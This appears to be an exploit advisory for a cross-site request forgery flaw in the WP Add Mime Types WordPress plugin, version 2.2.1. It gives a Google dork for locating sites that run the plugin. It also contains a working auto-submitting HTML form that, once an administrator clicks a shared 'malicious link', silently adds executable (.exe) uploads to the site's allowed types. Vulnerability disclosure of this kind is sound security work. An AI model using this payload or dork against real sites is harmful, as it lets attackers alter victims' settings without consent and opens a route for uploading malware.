WordPress Add Mime Types 2.2.1 Cross Site Request Forgery

🗓️ 20 Aug 2019 00:00:00Reported by Princy EdwardType

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WordPress Add Mime Types 2.2.1 CSRF Vulnerability

`# Exploit Title: CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1  
# Google Dork: inurl:”/wp-content/plugins/wp-add-mime-types”  
# Date: 18 july, 2019  
# Exploit Author: Princy Edward  
# Exploit Author Blog : https://prinyedward.blogspot.com/  
# Vendor Homepage: https://wordpress.org/plugins/wp-add-mime-types/  
# Software Link: https://downloads.wordpress.org/plugin/wp-add-mime-types.2.2.1.zip  
# Version: 2.2.1  
# Tested on: Apache/2.2.24 (CentOS)  
# CVE : Fresh  
  
#About Plugin  
The plugin additionally allows the mime types and file extensions to WordPress. In other words, your WordPress site can upload various file extensions.  
#Vulnerable Description  
WordPress plugin WP Add Mime Types plugin 2.2.1 vulnerable to CWE-352.  
## CSRF Code  
Share this malicious link to the plugin user. Once he clicks the link, the mime type will automatically get updated. Here I shared a POC to allow exe files(application/x-msdownload) to be uploaded.  
<html>  
<body onload="document.forms[0].submit()">  
<form method="POST" action="http://IP/wp-admin/options-general.php?page=wp-add-mime-types%2Fincludes%2Fadmin.php">  
<input type="hidden" name="mime_type_values" value="exe = application/x-msdownload">  
<input type="submit">  
</form>  
</body>  
</html>  
`

20 Aug 2019 00:00Current